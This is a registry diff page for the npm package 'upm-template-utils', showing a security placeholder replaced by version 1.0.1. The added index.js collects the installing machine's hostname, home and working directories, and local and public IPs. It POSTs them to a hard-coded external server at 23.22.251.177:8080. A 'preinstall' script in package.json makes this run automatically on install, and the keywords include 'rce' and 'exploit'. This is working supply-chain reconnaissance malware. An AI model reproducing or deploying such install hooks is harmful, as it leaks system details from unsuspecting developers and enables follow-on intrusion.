upm-template-utils 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of upm-template-utils might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +53 -0
  2. package/package.json +30 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+
4
+ async function getPublicIP() {
5
+ try {
6
+ const response = await axios.get('https://ipinfo.io/json');
7
+ return response.data.ip || 'Unknown';
8
+ } catch (error) {
9
+ console.error('Error fetching public IP:', error);
10
+ return 'Unknown';
11
+ }
12
+ }
13
+
14
+ async function pingBack(data) {
15
+ try {
16
+ await axios.post('http://23.22.251.177:8080/', data); // POST request
17
+ console.log('Pingback sent successfully');
18
+ } catch (error) {
19
+ console.error('Error sending pingback:', error);
20
+ }
21
+ }
22
+
23
+ function getNetworkInfo() {
24
+ const interfaces = os.networkInterfaces();
25
+ let ipAddress = 'Unknown';
26
+
27
+ // Find the first non-internal IPv4 address
28
+ for (const iface of Object.values(interfaces)) {
29
+ for (const details of iface) {
30
+ if (details.family === 'IPv4' && !details.internal) {
31
+ ipAddress = details.address;
32
+ break;
33
+ }
34
+ }
35
+ }
36
+
37
+ return {
38
+ publicIP: 'Unknown', // Placeholder (overridden later)
39
+ hostname: os.hostname(),
40
+ homeDirectory: os.homedir(),
41
+ currentDirectory: process.cwd(),
42
+ localIP: ipAddress
43
+ };
44
+ }
45
+
46
+ async function collectData() {
47
+ const networkInfo = getNetworkInfo();
48
+ const publicIP = await getPublicIP();
49
+ const data = { networkInfo, publicIP }; // Override publicIP
50
+ pingBack(data);
51
+ }
52
+
53
+ collectData();
package/package.json CHANGED
@@ -1,6 +1,33 @@
1
1
  {
2
2
  "name": "upm-template-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Package Claimed By JPD",
5
+ "license": "ISC",
6
+ "author": "JPD",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "preinstall": "node index.js",
11
+ "test": "echo \"Error: no test specified\" && exit 1"
12
+ },
13
+ "keywords": [
14
+ "rce",
15
+ "security",
16
+ "exploit",
17
+ "vulnerability"
18
+ ],
19
+ "repository": {
20
+ "type": "git",
21
+ "url": "git+https://github.com/JPD-12/public-repo-ui.git"
22
+ },
23
+ "bugs": {
24
+ "url": "https://github.com/JPD-12/public-repo-ui/issues"
25
+ },
26
+ "homepage": "https://github.com/JPD-12/public-repo-ui#readme",
27
+ "engines": {
28
+ "node": ">=14.0.0"
29
+ },
30
+ "dependencies": {
31
+ "axios": "^1.7.9"
32
+ }
6
33
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=upm-template-utils for more information.